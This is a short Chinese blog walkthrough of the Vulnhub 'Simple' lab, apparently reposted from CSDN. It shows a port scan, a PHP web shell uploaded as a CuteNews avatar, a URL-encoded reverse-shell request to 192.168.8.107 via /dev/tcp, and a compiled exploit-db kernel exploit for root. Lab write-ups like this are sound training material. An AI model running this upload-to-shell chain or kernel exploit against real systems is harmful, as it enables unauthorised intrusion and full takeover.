[Vulnhub] Simple CuteNews-CMS+Kernel权限提升 - 码农知识堂 - 文章详情页

[Vulnhub] Simple CuteNews-CMS+Kernel权限提升
信息收集

IP Address Opening Ports
192.168.8.104 TCP:80

$ nmap -p- 192.168.8.104 --min-rate 1000 -sC -sV
```
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Please Login / CuteNews
|_http-server-header: Apache/2.4.7 (Ubuntu)
```
本地权限

注册用户登录

Content-Disposition: form-data; name="avatar_file"; filename="reverse.php"

http://192.168.8.104/uploads/avatar_admin2_reverse.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.8.107%2F10032%200%3E%261%27

权限提升

$ cat /etc/os-release

https://www.exploit-db.com/exploits/36746

$ gcc 36746.c -static -o 36746

# ./36746
相关阅读:
人工神经网络的基本属性,神经网络四个基本属性
 如何在不恢复出厂设置的情况下解锁 Android 手机密码？
小程序van-picker自定义二级联动
 强化学习 double DQN 代码注释解析
 【Apollo】感知工程安装测试
 2760. 最长奇偶子数组 --力扣 --JAVA
Poco库使用:文件压缩和解压缩
 Pandas
分开的两个程序使用共同的mysql，一端更新了表，另一端怎么及时更新缓存，使用mybatis
tomcat 把webappp设置在其他目录
原文地址：https://blog.csdn.net/qq_51886509/article/details/140404587